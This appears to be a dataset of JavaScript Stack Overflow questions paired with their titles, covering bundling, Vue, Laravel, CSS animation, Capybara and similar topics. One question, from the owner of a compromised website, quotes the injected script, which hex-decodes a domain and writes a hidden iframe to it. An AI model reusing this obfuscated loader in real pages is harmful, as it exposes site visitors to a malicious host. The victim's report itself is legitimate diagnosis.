NavBar } from 'project-ui ' ; const App = ( ) = > ( < div > < NavBar/ > < div > App component ! x < /div > < /div > ) ; { `` name '' : `` project '' , `` version '' : `` 1.0.0 '' , `` private '' : true , `` workspaces '' : [ `` packages/* '' ] } { `` name '' : `` project-ui '' , `` version '' : `` 1.0.0 '' , `` main '' : `` dist/project-ui.cjs.js '' , `` jsnext : main '' : `` dist/project-ui.es.js '' , `` module '' : `` dist/project-ui.es.js '' , `` files '' : [ `` dist '' ] , `` scripts '' : { `` build '' : `` rollup -c '' } , `` peerDependencies '' : { `` react '' : `` 16.3.2 '' , `` react-dom '' : `` 16.3.2 '' } , `` devDependencies '' : { `` babel-core '' : `` 6.26.3 '' , `` babel-plugin-external-helpers '' : `` 6.22.0 '' , `` babel-preset-env '' : `` 1.6.1 '' , `` babel-preset-react '' : `` 6.24.1 '' , `` babel-preset-stage-2 '' : `` 6.24.1 '' , `` rollup '' : `` 0.60.0 '' , `` rollup-plugin-babel '' : `` 3.0.4 '' , `` rollup-plugin-commonjs '' : `` 9.1.3 '' , `` rollup-plugin-node-resolve '' : `` 3.0.0 '' , `` rollup-plugin-replace '' : `` 2.0.0 '' , `` rollup-plugin-uglify '' : `` 4.0.0 '' } } { `` name '' : `` project-web '' , `` version '' : `` 1.0.0 '' , `` scripts '' : { `` build '' : `` webpack -- colors -- display-error-details -- config=webpack/webpack.dev.js '' , `` dev '' : `` concurrently -- kill-others \ '' npm run dev : start\ '' '' , `` dev : start '' : `` node ./server/index.js '' } , `` dependencies '' : { `` babel-polyfill '' : `` ^6.26.0 '' , `` express '' : `` ^4.16.3 '' , `` react '' : `` ^16.3.2 '' , `` react-dom '' : `` ^16.3.2 '' , `` project-ui '' : `` 1.0.0 '' } , `` devDependencies '' : { `` babel-core '' : `` ^6.26.3 '' , `` babel-eslint '' : `` ^8.2.3 '' , `` babel-loader '' : `` ^7.1.4 '' , `` babel-plugin-add-module-exports '' : `` ^0.2.1 '' , `` babel-plugin-dynamic-import-node '' : `` ^1.2.0 '' , `` babel-plugin-transform-runtime '' : `` ^6.23.0 '' , `` babel-preset-env '' : `` ^1.6.1 '' , `` babel-preset-react '' : `` ^6.24.1 '' , `` concurrently '' : `` ^3.5.1 '' , `` eslint '' : `` ^4.19.1 '' , `` eslint-loader '' : `` ^2.0.0 '' , `` eslint-plugin-react '' : `` ^7.7.0 '' , `` piping '' : `` ^1.0.0-rc.4 '' , `` webpack '' : `` ^4.6.0 '' , `` webpack-cli '' : `` ^2.0.15 '' , `` webpack-dev-middleware '' : `` ^3.1.3 '' , `` webpack-dev-server '' : `` ^3.1.3 '' , `` webpack-hot-middleware '' : `` ^2.22.1 '' , `` webpack-node-externals '' : `` ^1.7.2 '' } } import resolve from 'rollup-plugin-node-resolve ' ; import commonjs from 'rollup-plugin-commonjs ' ; import babel from 'rollup-plugin-babel ' ; import replace from 'rollup-plugin-replace ' ; import { uglify } from 'rollup-plugin-uglify ' ; import pkg from './package.json'const FORMATS = { UMD : 'umd ' , ES : 'es ' , CJS : 'cjs ' } ; const allowedFormats = [ FORMATS.UMD , FORMATS.ES , FORMATS.CJS ] ; const bundle = ( fileFormat , { format , minify } ) = > { if ( ! allowedFormats.includes ( format ) ) { throw new Error ( ` Invalid format given : $ { format } ` ) ; } const shouldMinify = minify & & format === FORMATS.UMD ; const externals = format === FORMATS.UMD ? Object.keys ( pkg.peerDependencies || { } ) : [ ... Object.keys ( pkg.dependencies || { } ) , ... Object.keys ( pkg.peerDependencies || { } ) ] ; return { input : 'src/index.js ' , output : { file : fileFormat.replace ( ' { format } ' , shouldMinify ? ` $ { format } .min ` : format ) , format , name : 'project-ui ' , exports : 'named ' , globals : { react : 'React ' , 'prop-types ' : 'PropTypes ' } } , external : externals , plugins : [ resolve ( { jsnext : true , main : true } ) , commonjs ( { include : 'node_modules/** ' } ) , babel ( { exclude : 'node_modules/** ' , } ) , format === FORMATS.UMD ? replace ( { 'process.env.NODE_ENV ' : JSON.stringify ( shouldMinify ? 'production ' : 'development ' ) } ) : null , shouldMinify ? uglify ( ) : null ] .filter ( Boolean ) } ; } ; export default [ bundle ( 'dist/project-ui . { format } .js ' , { format : FORMATS.UMD , minify : true } ) , bundle ( 'dist/project-ui . { format } .js ' , { format : FORMATS.CJS } ) , bundle ( 'dist/project-ui . { format } .js ' , { format : FORMATS.ES } ) ] ; import React from 'react ' ; var NavBar = function NavBar ( ) { return React.createElement ( 'header ' , null , 'nav bar ' ) ; } ; module.exports = exports [ 'default ' ] ; export { NavBar } ; import React from 'react ' ; const NavBar = ( ) = > ( < header > nav bar < /header > ) ; export default NavBar ; export { default as NavBar } from './NavBar/NavBar ' ; { `` presets '' : [ [ `` env '' , { `` loose '' : true , `` modules '' : false , `` targets '' : { `` browsers '' : [ `` last 2 versions '' ] } } ] , `` react '' , `` stage-2 '' ] , `` plugins '' : [ `` transform-runtime '' , `` add-module-exports '' , `` external-helpers '' ] }",import undefined when bundling ui library with rollup using yarn workspaces "JS : I have some questions about JavaScript that I need to nail down . To help , I have a simple class definiton I 'm writing : Questions:1 ) In my current understanding of JavaScript , calling dataSource ( ) will create a new object with its own copies of the exists ( ) and get ( ) methods . Am I correct ? 2 ) Is there a way to write this so that if I create 1,000,000 dataSource objects I only have to have one copy of each function ? 3 ) Should I even be concerned with ( 2 ) ? var dataSource = function ( src , extension ) { return { exists : function ( ) { // function to check if the source exists ( src *should* be an object // and extension should be a string in the format `` .property.property.theSource '' . // this function will return true if src.property.property.theSource exists ) } , get : function ( ) { // function will return the source ( ex : return src.property.property.theSource ) } } } ( ) ;",Designing a class the right way "JS : Is it possible to get the protocol that the browser used to get the active page ? Something like : I know that it 's possible to detect the protocol server side and then pass the info , but I 'm looking for a JS solution . ( a similar question contains a broken link and no answer ) performance.navigation.protocol // e.g . `` HTTP/2 '' or `` SPDY/3.1 '' or `` HTTP/1.1 ''","Detect connection protocol ( HTTP/2 , spdy ) from javascript" "JS : I have a route in Laravel that requires an id as a parameter . If I had passed the data from the Laravel controller to the view value I would pass it like this : But my id is a vue value : Which is the correct way to do this ? Route : :get ( '/example/ { id } ' , ExampleController @ index ) < a href= '' /example/ { { id } } '' class= '' button success '' > Click < /a > < tr v-for= '' item in items '' > < td > @ { { item.id } } < /td > < td > @ { { item.name } } < /td > < td > @ { { item.number } } < /td > < td > @ { { item.address } } < /td > < td v-if= '' item.status==0 '' > < a href= '' /example/ @ { { item.id } } '' class= '' button success '' > Click < /a > < /td > < /tr >",How to pass a vue.js value as a parameter to a route in blade "JS : I wonder what the standard type of the XMLHttpRequest object is in JavaScript . I have found different results depending on the engine.In Firefox and Chrome : In Safari : The W3C specification uses the interface keyword to define XMLHttpRequest , which is not used in practice : The MDN definition states that : XMLHttpRequest is a JavaScript object ... But Firefox returns `` function '' , so the term is vague at least . The definition also states as for now that : It 's now being standardized in the W3C.I have looked a bit more here and there , but no definitive answer™ . Is there any ? Beyond this point , some extra backgroundContext of the questionI have just fixed a bug in this code : The bug occurred only in Safari 7 so far ( no test on other versions ) . The code works fine in Firefox and Chrome . The fix was : The problem came from assuming that typeof XMLHttpRequest is the same everywhere ... typeof XMLHttpRequest //= > `` function '' typeof XMLHttpRequest //= > `` object '' [ Constructor ( optional XMLHttpRequestOptions options ) ] interface XMLHttpRequest : XMLHttpRequestEventTarget { // ... } if ( typeof XMLHttpRequest === `` function '' ) { // do something } if ( typeof XMLHttpRequest ! == `` undefined '' ) { // do something }",What is the type of XMLHttpRequest in JavaScript ? "JS : I 'm creating a CSS3/HTML5 banner ad and want to loop the animations over once they 're all complete . I know there 's a method to check with Javascript to check if a particular animation has ended , however I can not figure out how to then restart the animations from all of their start points.Essentially I have 3 'frames ' with different information , each one will fade in and then fade back out , to be replaced with the next frame - once the last frame has faded back out , I want the animations to start over again . Doing this solely with CSS3 is way too tricky , because the timings of the animations and points in which the opacity is set to 0 have to be different for each animation.As you can see from the JSFiddle , it plays once , then stops which is great , now I just need to re-trigger the animation once click_through2 finishes executing the animation.JSFiddle .test { height : 250px ; position : relative ; width : 300px ; overflow : hidden ; } .test div , .test a , .logo , .sfv2 { position : absolute ; } .title { bottom : 45px ; left : 5px ; right : 5px ; } .title h2 { color : # fff ; font-family : Helvetica , arial , sans-serif ; font-size : 21px ; font-weight : 400 ; line-height : 1 ; margin : 0 ; text-align : center ; } .click_through { background-color : # fff200 ; border-radius : 5px ; bottom : 12px ; box-shadow : 0 0 15px rgba ( 0 , 0 , 0 , 0.35 ) ; color : # ce1e25 ; font-family : Helvetica , arial , sans-serif ; font-size : 14px ; font-weight : 700 ; left : 0 ; line-height : 1 ; margin : 0 auto ; padding : 5px ; right : 0 ; text-align : center ; width : 70px ; text-decoration : none ; } .click_through1 { animation : tbio 7s ease-out 0s both ; -moz-animation : tbio 7s ease-out 0s both ; -webkit-animation : tbio 7s ease-out 0s both ; -ms-animation : tbio 7s ease-out 0s both ; -o-animation : tbio 7s ease-out 0s both ; } .click_through2 { animation : tbio 7s ease-out 10s both ; -moz-tbio tbio 7s ease-out 10s both ; -webkit-tbio tbio 7s ease-out 10s both ; -ms-tbio tbio 7s ease-out 10s both ; -o-tbio tbio 7s ease-out 10s both ; width : 80px ; } .logo { top : 8px ; left : 8px ; } .title1 { animation : ltrio 6s ease 0s both ; -moz-animation : ltrio 6s ease 0s both ; -webkit-animation : ltrio 6s ease 0s both ; -ms-animation : ltrio 6s ease 0s both ; -o-animation : ltrio 6s ease 0s both ; } .title2 , .title3 { opacity : 0 ; } .title2 { animation : ltrio 6s ease 5.5s both ; -moz-animation : ltrio 6s ease 5.5s both ; -webkit-animation : ltrio 6s ease 5.5s both ; -ms-animation : ltrio 6s ease 5.5s both ; -o-animation : ltrio 6s ease 5.5s both ; } .title3 { animation : ltrio 6s ease 10s both ; -moz-nimation : ltrio 6s ease 10s both ; -webkit-nimation : ltrio 6s ease 10s both ; -ms-onimation : ltrio 6s ease 10s both ; -o-nimation : ltrio 6s ease 10s both ; } .sfv2 { right : 12px ; top : 34px ; animation : fio 6s ease 11s both ; -moz-animation : fio 6s ease 11s both ; -webkit-animation : fio 6s ease 11s both ; -ms-animation : fio 6s ease 11s both ; -o-animation : fio 6s ease 11s both ; } @ keyframes ltrio { 0 % { opacity : 0 ; } 20 % { opacity : 1 ; } 50 % { opacity : 1 ; } 80 % { opacity : 0 ; } 100 % { opacity : 0 ; } } @ -moz-keyframes ltrio { 0 % { opacity : 0 ; } 20 % { opacity : 1 ; } 50 % { opacity : 1 ; } 80 % { opacity : 0 ; } 100 % { opacity : 0 ; } } @ -ms-keyframes ltrio { 0 % { -ms-transform : translateY ( -350px ) ; opacity : 0 ; } 25 % { -ms-transform : translateY ( 0 ) ; opacity : 1 ; } 75 % { -ms-transform : translateY ( 0 ) ; opacity : 1 ; } 100 % { -ms-transform : translateY ( 350px ) ; opacity : 0 ; } } @ -o-keyframes ltrio { 0 % { -o-transform : translateX ( -350px ) ; opacity : 0 ; } 25 % { -o-transform : translateX ( 0 ) ; opacity : 1 ; } 75 % { -o-transform : translateX ( 0 ) ; opacity : 1 ; } 100 % { -o-transform : translateX ( 350px ) ; opacity : 0 ; } } @ keyframes tbio { 0 % { transform : translateY ( 350px ) ; opacity : 0 ; } 25 % { transform : translateY ( 0 ) ; opacity : 1 ; } 75 % { transform : translateY ( 0 ) ; opacity : 1 ; } 100 % { transform : translateY ( 350px ) ; opacity : 0 ; } } @ -moz-keyframes tbio { 0 % { -moz-transform : translateY ( 350px ) ; opacity : 0 ; } 25 % { -moz-transform : translateY ( 0 ) ; opacity : 1 ; } 75 % { -moz-transform : translateY ( 0 ) ; opacity : 1 ; } 100 % { -moz-transform : translateY ( 350px ) ; opacity : 0 ; } } @ -webkit-keyframes tbio { 0 % { -webkit-transform : translateY ( 350px ) ; opacity : 0 ; } 25 % { -webkit-transform : translateY ( 0 ) ; opacity : 1 ; } 75 % { -webkit-transform : translateY ( 0 ) ; opacity : 1 ; } 100 % { -webkit-transform : translateY ( 350px ) ; opacity : 0 ; } } @ -ms-keyframes tbio { 0 % { -ms-transform : translateY ( 350px ) ; opacity : 0 ; } 25 % { -ms-transform : translateY ( 0 ) ; opacity : 1 ; } 75 % { -ms-transform : translateY ( 0 ) ; opacity : 1 ; } 100 % { -ms-transform : translateY ( 350px ) ; opacity : 0 ; } } @ -o-keyframes tbio { 0 % { -o-transform : translateY ( 350px ) ; opacity : 0 ; } 25 % { -o-transform : translateY ( 0 ) ; opacity : 1 ; } 75 % { -o-transform : translateY ( 0 ) ; opacity : 1 ; } 100 % { -o-transform : translateY ( 350px ) ; opacity : 0 ; } } @ keyframes fio { 0 % { opacity : 0 ; } 20 % { opacity : 1 ; } 50 % { opacity : 1 ; } 80 % { opacity : 0 ; } 100 % { opacity : 0 ; } } < div class= '' test '' > < img class= '' sfv1 '' src= '' http : //i.imgur.com/3VWKopF.jpg '' > < div class= '' title title1 '' > < h2 > Great value < br/ > < strong > Spanish Properties < /strong > < br/ > starting at £65k < /h2 > < /div > < div class= '' title title2 '' > < h2 > Stunning properties in < br/ > < strong > Costa del Sol , < br/ > Blanca & Murcia < /strong > < /h2 > < /div > < div class= '' title title3 '' > < h2 > Over < strong > 10,000 < br/ > Spanish properties sold < /strong > < /h2 > < /div > < a class= '' click_through click_through1 '' href= '' / '' > View here < /a > < a class= '' click_through click_through2 '' href= '' / '' > Learn more < /a > < /div >",Restart CSS3 animation using Javascript JS : I have a div that contains sections : Now basically these sections are loaded when the DOM is ready . Is there a way I could check when a particular section has finished loading ? Once its finished loading I need to clone that section and place it just after the `` Placeafterthis '' div . Any suggestions on how I can achieve this ? < div class= '' Placeafterthis '' > < /div > ... < div class= '' k-content '' > < section class= '' rbs-section '' id= '' id1 '' name= '' '' > .. // section content < /section > < section class= '' rbs-section '' id= '' id2 '' name= '' '' > .. // section content < /section > < section class= '' rbs-section '' id= '' id3 '' name= '' '' > .. // section content < /section > < /div >,Capture the event after a section element has finished loading "JS : I 've been using capybara for a while , but I 'm new to sorcery . I have a very odd problem whereby if I run the specs without Capybara 's : js = > true functionality I can log in fine , but if I try to specify : js = > true on a spec , username/password can not be found.Here 's the authentication macro : Which is called in specs like this : The above code works fine . However , IF I change the scenario spec from ( in this case ) tologin fails with an 'incorrect username/password ' combination . Literally the only change is that : js = > true . I 'm using the default capybara javascript driver . ( Loads up Firefox ) Any ideas what could be going on here ? I 'm completely stumped . I 'm using Capybara 2.0.1 , Sorcery 0.7.13 . There is no javascript on the sign in page and save_and_open_page before clicking 'sign in ' confirms that the correct details are entered into the username/password fields . Any suggestions really appreciated - I 'm at a loss . module AuthenticationMacros def sign_in user = FactoryGirl.create ( : user ) user.activate ! visit new_sessions_path fill_in 'Email Address ' , : with = > user.email fill_in 'Password ' , : with = > 'foobar ' click_button 'Sign In ' user endend feature `` project setup '' do include AuthenticationMacros background do sign_in end scenario `` creating a project '' do `` my spec here '' end scenario `` adding questions to a project '' do scenario `` adding questions to a project '' , : js = > true do",Sorcery/Capybara : Can not log in with : js = > true JS : I have limited the size of the thread pool to 25.How can one know that all the threads are exhausted at run time ? Is there any way to find that all the define threads are exhausted during a new request ? I 'm using Native Abstractions for Node.js ( NAN ) to call C++ functions . For every request to C++ Nan : :AsyncQueueWorker is created . Here I want to find if the thread limit is exhausted and then add a safety factor . process.env.UV_THREADPOOL_SIZE = 25 ;,How do I know I 've hit the threads limit defined in Node ? "JS : The MDN gives the following working example of Symbol.species : The ECMAScript 2015 specifications says : A function valued property that is the constructor function that is used to create derived objects.The way I understand it it would be mainly used to Duck-Type in some way custom objects in order to trick the instanceof operator.It seems very useful but I have not managed to use it on plain objects ( FF 44.0a2 ) : Is there any way to use Symbol.species on plain objects in order to trick the instanceof operator ? class MyArray extends Array { // Overwrite species to the parent Array constructor static get [ Symbol.species ] ( ) { return Array ; } } var a = new MyArray ( 1,2,3 ) ; var mapped = a.map ( x = > x * x ) ; console.log ( mapped instanceof MyArray ) ; // falseconsole.log ( mapped instanceof Array ) ; // true let obj = { get [ Symbol.species ] ( ) { return Array } } console.log ( obj instanceof Array ) //false = ( console.log ( obj instanceof Object ) //true",Is it possible to use Symbol.species for plain objects ? "JS : Background : Let 's say you have a simple page which has a logo and a heading only and one paragraphThis is how that looks likeThat page , obviously would not have vertical overflow / scroll bar for almost even tiny scale mobile devices , let alone computers.QuestionHow can you bring that heading to the top left of the screen and move the logo out of focus unless someone scrolls up ? Open to using any JavaScript library and any CSS frameworkAttempts : Tried using anchors but they only work if the page already had a scroll bar and anchor was out of focus . Tried window.scrollTo but that also requires the page to have scroll alreadyTried $ ( `` html , body '' ) .animate ( { scrollTop : 90 } , 100 ) ; but that also does n't work when the page does n't have overflowNotes : Please note that adding some extra < br/ > to induce an overflow is not the way to go , it can be done that way but that 's a very ordinary workaroundWhy is it needed ? Its for a form for mobile devices , simple requirement is to take the first field of the form to top of the page and hide the logo ( one can scroll up if they wish to see it ) so it does n't take attention away . Not using jQueryMobile for this particular task . < img src= '' http : //blog.stackoverflow.com/wp-content/uploads/StackExchangeLogo1.png '' > < h1 > Foo Bar < /h1 > < p > ABC12345 < /p >",Bring an element to top of the page even if the page does not scroll "JS : In a DOM , I could filter out elements having class names starting with a particular word , here it is answer_list_two cpts_ and the result is given below . [ < div class=​ '' answer_list_two cpts_1_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_2_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_3_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_4_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_5_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_1_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_2_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_3_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_4_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_5_19234 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_1_19235 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_2_19235 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_3_19235 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_1_19235 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_2_19235 '' > ​…​ < /div > ​ , < div class=​ '' answer_list_two cpts_3_19235 '' > ​…​ < /div > ​ ] from this , I would like to take an element , find its class name , find another element having same class name , compare the height of both the DIV elements and apply the larger height value to both the DIV elements . Please help me with the JQuery code for implementing the same . Thank you : ) $ ( ' [ class^= '' answer_list_two cpts_ '' ] ' ) = >",Filter elements in a DOM with common 'class ' name and apply CSS on it - JQuery "JS : Given the following input : I am trying to accomplish the following : Right now the work to accomplish this currently reads as : The issue I am getting is that the regex reads from right to left . I have created a JSFIDDLE to show the issue . The result I get is something like . Lastly when I use the arrow keys to move around , it throws me back to the end of the input . REGEX101 123456781234567812345678 12345678,12345678,12345678 parts = parts.replace ( /\B ( ? = ( \d { 8 } ) + ( ? ! \d ) ) /g , `` , '' ) ; 123,45678910,12345678",Add comma to every eight digits "JS : Had a question about the 'duck punching ' pattern I first encountered on Paul Irish 's blog . I get the general premise ... save a ref to an existing function , then replace the existing function with a conditional branch that will call a new function if condition is met , or the old version if not . My question is why do we have to use the `` apply '' with 'this ' as the first param when we call the _old function ? I understand how apply works , but I 'm looking for some clarification on why it is necessary . ( function ( $ ) { // store original reference to the method var _old = $ .fn.method ; $ .fn.method = function ( arg1 , arg2 ) { if ( ... condition ... ) { return ... . } else { // do the default return _old.apply ( this , arguments ) ; } } ; } ) ( jQuery ) ;",Paul Irish 'duck punching ' pattern observation "JS : I saw this article on polymorphic callable objects and was trying to get it to work , however it seems that they are not really polymorphic , or at least they do not respect the prototype chain.This code prints undefined , not `` hello there '' .Does this method not work with prototypes , or am I doing something wrong ? var callableType = function ( constructor ) { return function ( ) { var callableInstance = function ( ) { return callableInstance.callOverload.apply ( callableInstance , arguments ) ; } ; constructor.apply ( callableInstance , arguments ) ; return callableInstance ; } ; } ; var X = callableType ( function ( ) { this.callOverload = function ( ) { console.log ( 'called ! ' ) } ; } ) ; X.prototype.hello = `` hello there '' ; var x_i = new X ( ) ; console.log ( x_i.hello ) ;",javascript `` polymorphic callable objects '' "JS : Currently , I have multiple angular modules . A custom Grunt task concats , minifies and packages each module so it is ready to deploy . The only thing I have n't done yet is to manage the version of these modules.Each project ( one per module ) contains a package.json file , in which I declare the name and version of a component : So each module is built in a directory */dist/my-module/1.0.0/But , in the module itself , I need to access its version . For example , in a controller , I declare a variable $ scope.version = ' 1.0.0 ' . But currently , it is hardcoded in the controller script.First question , is there a way the module could get the version from the package.json file ? Or that the grunt task building the application replaces a given flag in the scripts by the current version of the module ? ( for example , I could declare my variable $ scope.version = 'FLAG_VERSION ' knowing that during the build grunt will replace the flag by the right value ) Second question , is there some grunt component which allows to tag the current version of a module in my VCS ( SVN for example ) and then increment the current version ? In short , perform a release of the module.Edit : new question asked on that matter , see Bump a specific version number on SVN using GruntAny help or lead will be appreciated ! { `` name '' : `` my-module '' , `` version '' : `` 1.0.0 '' , // etc . }",Manage AngularJS modules version and releases using Grunt "JS : Well , I guess this day had to come.My client 's website has been compromised and blacklisted by Google . When you load the main page this javascript gets automatically added to the bottom of the document : I have n't dissected it just yet but it 's , quite obviously , an attacker trying to pose as google analytics . What I ca n't wrap my head around is that if I remove EVERY SINGLE LAST BIT of HTML from the main page , to the point that index.html is an empty document , the javascript STILL gets embedded . What gives ? How is that possible ? updatesThe website is a very simple calendar application , runs on a $ 10/month godaddy unix account , MySQL , PHP.It is not a local thing specific to my computer as my client was the one that called me with the problem . Also happening on all the computers I have at home ( 4 ) I 'll go run a scan on the webserver ... source identifiedWell , I found out where the javascript is coming from . I had foolishly only emptied the template.html file but still ran the script through my php templating system . Apparently , SOMEHOW the code above got appended to the bottom of my index.php and main.php files . How is this possible ? A little more background : It is a calendar application , as mentioned above , and it is used only by my client 's small company . Login is required to do anything , and only 5 or so people have accounts . I can guarantee none of them would try any shenanigans . I obviously ca n't guarantee someone got a hold of their information and did try shenanigans , though.Sadly enough , I did make this website almost 4 years ago , so I am not exactly 100 % confident I protected against everything kids are trying nowadays , but I still can not understand how an attacker could have possibly gained access to the webserver to append this javascript to my php files . < script type= '' text/javascript '' > var str='google-analytics.com ' ; var str2='6b756c6b61726e696f6f37312e636f6d ' ; str4='php ' ; var str3='if ' ; str= '' ; for ( var i=0 ; i < str2.length ; i=i+2 ) { str=str+ ' % '+str2.substr ( i,2 ) ; } str=unescape ( str ) ; document.write ( ' < '+str3+'rame width=1 height=1 src= '' http : //'+str+'/index . '+str4+ ' ? id=382 '' style= '' visibility : hidden ; '' > < /'+str3+'rame > ' ) ; < /script > < /head > < body > < iframe src= '' http : //kulkarnioo71.com/index.php ? id=382 '' style= '' visibility : hidden ; '' width= '' 1 '' height= '' 1 '' > < /iframe >","client 's website was attacked , eeek !" "JS : This question is probably more about Webpack and ES6 import than about Vue.I 'm writing a Vuex mutation that adds a new mykey : [ ] to an object in state . This needs to use Vue.set ( state.myobj , 'mykey ' , [ ] ) , so that the new array gains reactiveness.However , when I import Vue from 'vue ' to my mutations.js and use Vue.set ( ... ) it does n't fix the problem ( it just does nothing ) . The problem seems to be that Vue is not the same Vue that I use in my main js file when creating the Vue object in my main.js file.I 've verified that the problem is related to the way Vue is imported to mutations.js . If I write window.MY_VUE = Vue in main.js and then use window.MY_VUE.set ( ... ) in mutations.js , the new array works as expected , i.e . when I push to the array , the changes are correctly reflected in DOM . Naturally , comparing window.MY_VUE === Vue in mutations.js returns false.Am I doing something wrong ? What would be the correct way to fix the problem ? NB : As a workaround , I now replace the object : I 'm using Vue 2.4.2 , Vuex 2.4.0 and Webpack 2.7.0 . I 'm not using Webpack code-splitting . state.myobj = { ... state.myobj , mykey : [ ] }",import Vue from 'vue ' imports `` different '' Vue to different files "JS : I have a JavaScript object that does something like this - using a closure to simulate private vs public functions/variables : I will be creating around 4000 instances of this object , and from what I am reading adding functions via the prototype will be more efficient than adding them as I have above ( because in my example , each instance will have it 's own getXYProcust ( ) , getNegX ( ) and getNegY ( ) functions.My question is twofold - is my approach above really `` inefficient '' ? I realize that inefficient is a relative term - but is this something I will likely notice . If it is inefficient , how would I add those functions to the prototype of myCoolObject ? I tried the following : But neither protoProp nor 'getAtMeBro ( ) ' are properties of myInstance when I inspect it.Thanks in advance for any help - I appreciate it ! var myCoolObject = function ( x , y ) { var prop1 = `` a cool prop1 value '' ; var negX = x * -1 ; var negY = y * -1 ; var xyProduct = x * y ; return { PublicProp1 : prop1 , getXYProduct : function ( ) { return xyProduct ; } , getNegX : function ( ) { return negX ; } , getNegY : function ( ) { return negY ; } } } myCoolObject.prototype.protoProp = `` pppp '' ; myCoolObject.prototype.getAtMeBro = function ( ) { return `` get at me bro '' ; } ; var myInstance = new myCoolObject ( 5 , 10 ) ;",JS prototype vs closure "JS : A teammate and I have been building an application in Aurelia for the last four months , and he and I have been creating and using components in these two different ways . I want to have some consistency and change everything over to one of the two styles , but I do n't know which one is preferred or more suitable for our needs.I chose to use < compose > because to me it feels cleaner and suits every need I have encountered , but if using the custom element is objectively better I want to switch to that.For example : ( his-way view-model : ) ( his-way view : ) ( my-way view-model : ) ( my-way view : ) Do I need to change over , and if not , what are some reasons I can use to persuade him to using the same style that I have been using ? import { bindable , bindingMode } from 'aurelia-framework ' ; export class HisWay { @ bindable ( { defaultBindingMode : bindingMode.twoWay } ) data ; } < require from= '' ./his-way '' > < /require > < his-way data.two-way= '' myModel '' containerless > < /project-name > export class MyWay { activate ( model ) { this.model = model ; } } < compose view-model= '' ./my-way '' model.bind= '' myModel '' containerless > < /compose >",What are the differences between using < compose view-model= '' ./my-element '' > and < my-element > ? What are some scenarios where one is more suitable ? "JS : In jQuery , I thought it will be more efficient to find a child DOM with a specific selector with Implementation 1 as below : But one friend of mine told me that it will be more efficient when usingImplementation 2 as below : Referenced to other question , I found the Implementation 2 may be less efficient than : But will Implementation 2 be more efficient than Implementation 1 ? var $ dataTable = $ ( ' # ' + tabId + ' > div.container > div.dataTableContainer > table.dataTable ' ) ; var dataTable = $ ( ' # ' + tabId ) .find ( 'table.dataTable ' ) ; var $ dataTable = $ ( ' # ' + tabId + ' div.container div.dataTableContainer table.dataTable ' ) ;",Is it more efficient to use find ( ) rather than > for child selector in jQuery ? "JS : I need to parse strings intended for cross-spawnFrom the following strings : To an object : I 'm thinking a regex would be possible , but I 'd love to avoid writing something custom . Anyone know of anything existing that could do this ? EditThe question and answers are still valuable , but for my specific use-case I no longer need to do this . I 'll use spawn-command instead ( more accurately , I 'll use spawn-command-with-kill ) which does n't require the command and args to be separate . This will make life much easier for me . Thanks ! cmd foo barcmd `` foo bar '' -- baz boomcmd `` baz \ '' boo\ '' bam '' cmd `` foo 'bar bud ' jim '' jamFOO=bar cmd baz { command : 'cmd ' , args : [ 'foo ' , 'bar ' ] } { command : 'cmd ' , args : [ 'foo bar ' , ' -- baz ' , 'boom ' ] } { command : 'cmd ' , args : [ 'baz `` boo '' bam ' ] } { command : 'cmd ' , args : [ 'foo \'bar bud\ ' jim ' , 'jam ' ] } { command : 'cmd ' , args : [ 'baz ' ] , env : { FOO : 'bar ' } }",Parse string into command and args in JavaScript JS : When I am executing it not all of my files are uploaded but just one of them.JavaScriptHTML function upload ( ) { document.getElementById ( `` uploading '' ) .innerHTML= '' uploading ... . '' ; var myfile=document.getElementById ( `` fileinput '' ) .files [ 0 ] ; //alert ( myfile.size ) ; var r = new FileReader ( ) ; r.onload = function ( e ) { var contents = e.target.result ; parseContents ( contents ) ; //document.getElementById ( `` cont '' ) .innerHTML=fileContent ; document.getElementById ( `` uploading '' ) .innerHTML= '' < h3 > File uploaded : `` +myfile.name ; } r.readAsText ( myfile ) ; } < body onload= '' initialize ( ) '' > < div id= '' container1 '' > < h > MY TRANSIT PLANNER < /h > < /div > < h3 style= '' text-decoration : underline ; '' > choose a file for input : < /h3 > < input type= '' file '' id= '' fileinput '' multiple= '' multiple '' onchange= '' upload ( ) '' / > < br > < div style= '' color : black '' id= '' uploading '' > < /div > < script src= '' https : //maps.googleapis.com/maps/api/js ? `` async defer > < /script > < input type= '' button '' id= '' btn-sgtd '' type= '' text '' value= '' SAVE GTD '' onclick= '' writetofile ( ) '' / > < h3 style= '' text-decoration : underline ; '' > Choose files to Segment : < /h3 > < form action= '' files.php '' method= '' POST '' enctype= '' multipart/form-data '' > < input type= '' file '' name= '' my_file [ ] '' multiple= '' multiple '' > < br > < br > < input type= '' submit '' value= '' SEGMENT '' class= '' button '' > < br > < /form > < div id= '' map '' > < /div > < /body >,How to upload multiple files through one upload button "JS : I 've been working through this and I 'm a little stuck . I ca n't seem to find a direct answer so I 'm gon na ask.I 'm creating an options list from a JSON call . I 've created the child elements but I ca n't seem to add the unique ID 's ( stored in the JSON ) to each element . When I create the ID inside the $ .each of the JSON I get the last ID from the call assigned to all the options.Thanks $ ( `` # fDistList '' ) .append ( ' < option > ' + item.GROUP_NAME + ' < /option > ' ) ; $ ( `` option '' ) .attr ( 'id ' , item.ID ) ;",jquery or JS create child element and assign an ID "JS : I 'm currently having problems having the UI refresh when I 'm getting new data from the server for a single item which is in an observableArray of wrapper objects which holds an object of several observables.Consider the following : Can someone explain why passing in the ItemWrapper into vm.selected is n't updating the UI whereas in ( 2 ) it works . I do n't want to have to set-up each property like in ( 2 ) for every property.ItemWrapper looks like so : var vm = { ... .localEdited : ko.mapping.fromJS ( new ItemWrapper ( defaultModelSerialised ) ) , selected : ko.observable ( null ) , editItem : function ( data ) 